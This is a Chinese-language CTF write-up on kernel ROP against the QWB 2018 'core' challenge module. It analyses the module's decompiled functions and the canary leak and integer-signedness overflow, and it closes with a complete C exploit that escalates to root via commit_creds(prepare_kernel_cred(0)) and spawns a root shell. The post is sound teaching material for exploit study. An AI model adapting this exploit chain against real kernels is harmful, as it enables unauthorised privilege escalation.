eeeeeeeeeeeeeeeea

愿我们永远热泪盈眶!

0%

kernel-pwn(二)

kernel pwn(二)

这一题学习kernel rop,看名字就很熟悉^_^。我们拿强网杯2018年的core来作为练习题,首先下载好题目附件,发现多了一个vmlinux文件,这个是未压缩的kernel文件。

1
2
1.在内核态执行commit_creds(prepare_kernel_cred(0))
2.返回用户态,开启shell

一:准备工作

首先进行一些准备工作

1
2
3
4
5
6
1.通过ropper命令寻找vmlinux里的gadget :ropper --file  ./vmlinux --nocolor > g1
2.mkdir ./core
cd ./core
cp ../core.cpio ./core.cpio.gz
gunzip ./core.cpio.gz
cpio -idm < ./core.cpio ##解包

查看ko文件开的保护与start.sh文件内容

1
init文件中把/proc/kallsyms保存到/tmp/kallsyms中,把/proc/sys/kernel/kptr_restrict设为1,这样就不能从/proc/kallsyms中读取地址了,将/proc/sys/kernel/dmesg_restrict设为1,这样不能用dmesg查看kernel的信息

紧接着放入ida分析

二:ko文件逻辑分析

init_module

创建一个proc虚拟文件,应用层通过读写该文件,即可实现与内核的交互。

1
2
3
4
5
6
__int64 init_module()
{
core_proc = proc_create("core", 438LL, 0LL, &core_fops);
printk(&unk_2DE);
return 0LL;
}

exit_core

删除proc虚拟文件

1
2
3
4
5
6
7
8
__int64 exit_core()
{
__int64 result; // rax

if ( core_proc )
return remove_proc_entry("core");
return result;
}

core_ioctl

会调用三个函数core_read,为off赋值,core_copy_func

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
switch ( a2 )
{
case 1719109787:
core_read(a3);
break;
case 1719109788:
printk(&unk_2CD);
off = a3;
break;
case 1719109786:
printk(&unk_2B3);
core_copy_func(a3);
break;
}
return 0LL;
}

core_read

从v5[off]拷贝64字节到用户空间a1,因为off我们可以自行设置,所以可以进行一些溢出从而造成泄露canary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
unsigned __int64 __fastcall core_read(__int64 a1)
{
char *v2; // rdi
__int64 i; // rcx
unsigned __int64 result; // rax
char v5[64]; // [rsp+0h] [rbp-50h] BYREF
unsigned __int64 v6; // [rsp+40h] [rbp-10h]

v6 = __readgsqword(0x28u);
printk(&unk_25B);
printk(&unk_275);
v2 = v5;
for ( i = 16LL; i; --i )
{
*(_DWORD *)v2 = 0;
v2 += 4;
}
strcpy(v5, "Welcome to the QWB CTF challenge.\n");
result = copy_to_user(a1, &v5[off], 64LL); ////////////重点
if ( !result )
return __readgsqword(0x28u) ^ v6;
__asm { swapgs }
return result;
}

core_copy_func

从全局变量name中拷贝数据到v2,a1我们可以控制,在比较的时候如果a1>=64即返回,比较的时候a1是int64,而qmemcpy传的是unsigned int16,所以我们如果控制a1为一个负数,在转成无符号数时就会比较大,即可造成溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 __fastcall core_copy_func(__int64 a1)
{
__int64 result; // rax
_QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF

v2[8] = __readgsqword(0x28u);
printk(&unk_215);
if ( a1 > 63 )
{
printk(&unk_2A1);
return 0xFFFFFFFFLL;
}
else
{
result = 0LL;
qmemcpy(v2, &name, (unsigned __int16)a1);
}
return result;
}

core_write

从用户空间向内核空间写

1
2
3
4
5
6
7
8
__int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
printk(&unk_215);
if ( a3 <= 0x800 && !copy_from_user(&name, a2, a3) )
return (unsigned int)a3;
printk(&unk_230);
return 4294967282LL;
}

三:分析

首先看到一些文章说vmlinux像用户态的libc文件,里面存了很多我们需要的gadget和函数地址,但是需要知道vmlinux加载到程序中的基地址,就和libc基地址一样需要泄露。

1.泄露canary

我们看core_read函数和其汇编发现,canary存在rsp+0x40处,所以通过设置off的值就可以泄露canary。

这里和用户态不太一样诶。

2.溢出点

在core_copy_func中,传入的a1是有符号64位的整数,并且a1<=63即可绕过if判断,而在qmemcpy的时候,a1转换成unsigned int16,

所以在传a1的时候只要a1是一个负数,就会过检查,并且因为负数的补码是非常大的,所以在qmemcpy会造成溢出。

所以下一个问题是如何设置name全局变量。

3.设置name

core_write会向name读入数据

4.总体思路

1.设置off泄露canary

2.通过core_write向name读入数据构造rop链

3.core_copy_func来劫持程序流

四:写脚本

在64位下执行iretq指令前还需要执行swapgs指令置换GS寄存器和KernelGSbase MSR寄存器的内容

注意我们的gadget要在core.cpio解包后的文件夹内,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

size_t user_cs,user_ss,user_rflags,user_sp;

size_t commit_creds=0,prepare_kernel_cred=0;

size_t vmlinux_base;


void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}


size_t get_vmlinux_base()
{
int tmp_fd = fopen("/tmp/kallsyms","r");
if(tmp_fd == -1) puts("[*]open symbol file failed.");

char buf[0x30] = {0};
while(fgets(buf,0x30,tmp_fd)){
if(commit_creds && prepare_kernel_cred)
return 0;
if(strstr(buf,"commit_creds") && !commit_creds){
char hex[0x20] = {0};
strncpy(hex,buf,0x10);
sscanf(hex,"%llx",&commit_creds);
vmlinux_base = commit_creds - 0x9c8e0;
printf("[*]vmlinux base => %llx\n",vmlinux_base);
}
if(strstr(buf,"prepare_kernel_cred") && !prepare_kernel_cred){
char hex[0x20] = {0};
strncpy(hex,buf,0x10);
sscanf(hex,"%llx",&prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;
printf("[*]vmlinux base => %llx\n",vmlinux_base);
}
}
}

void get_shell(){
if(!getuid()){
system("/bin/sh");
}
else{
puts("exploit error\n");
}
exit(0);
}


size_t raw_vmlinux_base = 0xffffffff81000000;

void core_read(int fd,char* buf){
printf("[*]read to buf\n");
ioctl(fd,0x6677889B,buf);
}

void core_copy_func(int fd,long long size){
printf("[*]copy from user with size: %lld\n",size);
ioctl(fd,0x6677889A,size);
}

void set_off(int fd, long long idx)
{
printf("[*]set off to %ld\n", idx);
ioctl(fd, 0x6677889C, idx);
}


int main(){
save_status();
int fd = open("/proc/core", 2);
if(fd < 0){
puts("[*]open /proc/core error!");
exit(0);
}
get_vmlinux_base();
int offset;
offset = vmlinux_base - raw_vmlinux_base;
set_off(fd, 0x40);
char buf[0x40] = {0};
core_read(fd, buf);
size_t canary = ((size_t *)buf)[0];
printf("[+]canary: %p\n", canary);

//rop
size_t rop[1000] = {0};
int i=0;
for(i=0;i<10;i++) rop[i] = canary;
rop[i++] = offset + 0xffffffff81000b2f;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;
rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
rop[i++] = commit_creds;
// rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
rop[i++] = 0xffffffff8106a6d2 + offset;
rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;
rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;
rop[i++] = (size_t)get_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

write(fd,rop,0x800);
core_copy_func(fd,0xffffffffffff0000 | (0x100));

return 0;

}

在最后必须吐槽一下Ren宝,qq老是鸽我,不爱他了!!!!!!!!!!!!!!!!!!!!!!!!!!!